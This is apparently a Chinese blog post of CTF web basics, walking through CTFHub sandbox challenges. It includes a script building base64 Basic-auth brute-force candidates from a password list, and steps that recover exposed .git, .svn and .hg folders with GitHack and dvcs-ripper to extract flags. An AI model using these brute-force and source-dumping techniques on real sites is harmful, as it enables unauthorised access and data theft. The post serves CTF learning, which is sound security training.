CTF

ctf之web基础知识

ctf之web基础知识

英文:1241词 | 中文:7476字

Posted by YY——阳阳 on June 23, 2021

一、基础知识

  1. CTF 简介
  2. 竞赛模式
  3. 比赛形式
  4. 题目类型

二、web 前置技能

1. HTTP 协议

  1. 请求方式

    https://blog.csdn.net/qq_46222050/article/details/108159069

    http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

  2. 302 跳转

    HTTP临时重定向

    https://www.jianshu.com/p/e56d9f0a5c09

  3. cookie

    Cookie欺骗、认证、伪造

    https://www.cnblogs.com/webconfig/p/3623343.html

  4. 基础认证

    在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

    import base64
    fp = open('pinjie.txt','w')
    with open("1000-top.txt", "r") as f:
    	for line in f.readlines():
    		line = line.strip('\n')
    		line = 'admin:'+line
    		print (line)
    		line1=base64.b64encode(line.encode('utf-8'))
    		#print(str(line1,'utf-8'))
    		fp.write(str(line1,'utf-8')+'\n')
    

    burp 爆破

  5. 响应源代码

    HTTP响应包源代码查看

2. 操作系统

3. 数据库

4. HTML/CSS

5. 程序语言

php、python、java

三、Web 工具配置

虚拟机、burpsuite、firefox/chrome、webshell、菜刀类工具( 蚁剑、菜刀、c刀 )、端口扫描 (nmap、httpscan、msf)、远程连接(ssh、rdp)、目录爆破(御剑、dirmap、burp 等等,取决于字典的强大)

四、信息泄露

1. 目录遍历

路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。

apache 配置不当导致目录遍历,信息泄露。

BESsQ1.md.png

import requests

if __name__ == '__main__':
    url = 'http://challenge-32f4e7a6b43eb48c.sandbox.ctfhub.com:10080/flag_in_here'

    for i in range(1,4):
        for j in range(1,4):
            new_url = url + '/' + str(i) + '/' + str(j)
            print(new_url)
            page_text = requests.get(new_url).text
            if "flag.txt" in page_text:
                print(new_url)

2. phpinfo()

phpinfo() 页面也是泄露信息的一种途径。

3. 备份文件下载

  1. 网站源码

    当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

    • 常见的网站源码备份文件后缀
      • tar
      • tar.gz
      • zip
      • rar
    • 常见的网站源码备份文件名
      • web
      • website
      • backup
      • back
      • www
      • wwwrote
      • temp

    直接御剑扫描,

  2. bak 文件

    当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

    同样御剑扫描,但关键是字典。

  3. vim 缓存

    当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

    在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。

    以 index.php 为例:

    第一次产生的交换文件名为 .index.php.swp

    再次意外退出后,将会产生名为 .index.php.swo 的交换文件

    第三次产生的交换文件则为 .index.php.swn

  4. .DS_Store

    .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

    .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

    直接 linux cat 打开

    或者实用工具 https://github.com/gehaxelt/Python-dsstore

4. Git 泄露

  1. log

    当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将 .git 文件夹直接部署到线上环境。这就引起了 git泄露漏洞

    BENkfU.md.png

    使用 githack 恢复。

    https://github.com/WangYihang/GitHacker

    python2 GitHack.py http://challenge-2c6696d984cb9239.sandbox.ctfhub.com:10080/.git/
    

    BEsYjK.md.png

    处理得到:

    BEswAH.md.png

    查看历史记录 git log

    D:\ctf\GitHack-master\dist\challenge-2c6696d984cb9239.sandbox.ctfhub.com_10080>git log
    commit ea5a516f056ccb783834f9f98fa422b60a41c780 (HEAD -> master)
    Author: CTFHub <sandbox@ctfhub.com>
    Date:   Fri Oct 23 15:11:17 2020 +0000
       
        remove flag
       
    commit 3874ed3aca9e6ba2698716dbbaed7822e269301e
    Author: CTFHub <sandbox@ctfhub.com>
    Date:   Fri Oct 23 15:11:17 2020 +0000
       
        add flag
       
    commit f3c62ee6aa578cf6ce3ddb1c6e4eac7d739b2125
    Author: CTFHub <sandbox@ctfhub.com>
    Date:   Fri Oct 23 15:11:17 2020 +0000
       
        init
       
    D:\ctf\GitHack-master\dist\challenge-2c6696d984cb9239.sandbox.ctfhub.com_10080>
    

    BEyAVe.md.png

    当前所处版本为 remove flag ,flag 应该在 add flag 这里。

    add flag 进行比对, 3874ed3aca9e6ba2698716dbbaed7822e269301e

    BEyG5j.md.png

    看到之前被删掉的 falg 了。

    另一种方法:

    直接切换到 add flag 版本。

    git reset --hard 3874ed3aca9e6ba2698716dbbaed7822e269301e
    

    BEytGn.md.png

    可以看到目录里可以看到了flag的文件。

  2. stash

    当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

    同样使用Githack工具处理git泄露情况。

    git stash是git一个很有用的命令,它的作用是把当前未提交的修改暂存起来,让仓库还原到最后一次提交的状态。常用于更新、同步代码或者保存多个修改版本等情况下。

    https://jingyan.baidu.com/article/49ad8bceacac6b5834d8fa9a.html

    git stash	# git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。
    git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。
    git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。
    git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。
    git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。
    git stash clear #清除所有的stash条目。
    git show stash@{n}	#当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容
    

    这里执行

    git stash list
    git stash pop
    

    就恢复了falg 文件

    BE6KY9.md.png

    同样之前的方法也可以解题。

    git log
    git diff .......
    
  3. index

    githack 恢复之后就在文件中。。。。

5. SVN 泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

版本控制系统 集中式版本控制系统:Subversion(SVN)、CVS、VSS 等。 分布式版本控制系统:Git、Mercurial(Hg) 等。 具体区别比较可以看这个文章https://www.cnblogs.com/likebeta/archive/2012/12/18/2822805.html

使用 dvcs-ripper

https://github.com/kost/dvcs-ripper

  • 安装:sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
  • gitclone: git clone https://github.com/kost/dvcs-ripper
  • 进入目录
  • ./rip-svn.pl -v -u http://challenge-fb13f9afd9ee3b28.sandbox.ctfhub.com:10080/.svn/
root@localhost:~/ctf/dvcs-ripper# ./rip-svn.pl -v -u http://challenge-ef41833848c08d6d.sandbox.ctfhub.com:10080/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
已恢复“index.html”

root@localhost:~/ctf/dvcs-ripper# cat .svn/pristine/0c/0c5fb19b977dbe3945402427c5a732cb2d1d820a.svn-base 
ctfhub{7db562e25eb73483a9d6e5aaa9265c8a01ce423f}

使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。 svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份.

6. HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

目录扫描有/.hg/ 泄露

还是上一个脚本库里的 rip-hg.pl

#一定要加 -v 不然 down 不下来的
        
root@localhost:~/ctf/dvcs-ripper# ./rip-hg.pl -v -u http://challenge-1ccbdf6a8520678e.sandbox.ctfhub.com:10080/.hg/
[i] Downloading hg files from http://challenge-1ccbdf6a8520678e.sandbox.ctfhub.com:10080/.hg/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found 00changelog.i
[d] found dirstate
[d] found requires
[!] Not found for branch: 404 Not Found
[!] Not found for branchheads.cache: 404 Not Found
[d] found last-message.txt
[!] Not found for tags.cache: 404 Not Found
[d] found undo.branch
[d] found undo.desc
[d] found undo.dirstate
[d] found store/00changelog.i
[!] Not found for store/00changelog.d: 404 Not Found
[d] found store/00manifest.i
[!] Not found for store/00manifest.d: 404 Not Found
[d] found store/fncache
[d] found store/undo
[!] Not found for .hgignore: 404 Not Found
[i] Running hg status to check for missing items
cannot find hg: No such file or directory at ./rip-hg.pl line 140.

执行过程有大量文件未找到,查看已旦拿到文件。

进入 store 目录·,查看 fncache 信息

root@localhost:~/ctf/dvcs-ripper/.hg# ls -a
.  ..  00changelog.i  dirstate  last-message.txt  requires  store  undo.branch  undo.desc  undo.dirstate
root@localhost:~/ctf/dvcs-ripper/.hg# cat store/fncache 
data/index.html.i
data/50x.html.i
data/flag_32013795.txt.i

根据页面提示,手工查看得到 Flag.

http://challenge-1ccbdf6a8520678e.sandbox.ctfhub.com:10080/flag_32013795.txt

五、密码口令

1. 弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

拿字典 burp 爆破即可。

2. 默认口令

常见设备默认口令.

然后根据题目里的设备,对应去找一下默认口令就可以.

BER7vR.png

3. 社会工程

根据信息收集,然后制作相关字典。

姓名、电话、qq等.

六、sql注入

七、XSS

八、 文件上传

九、RCE

十、CSRF、SSRF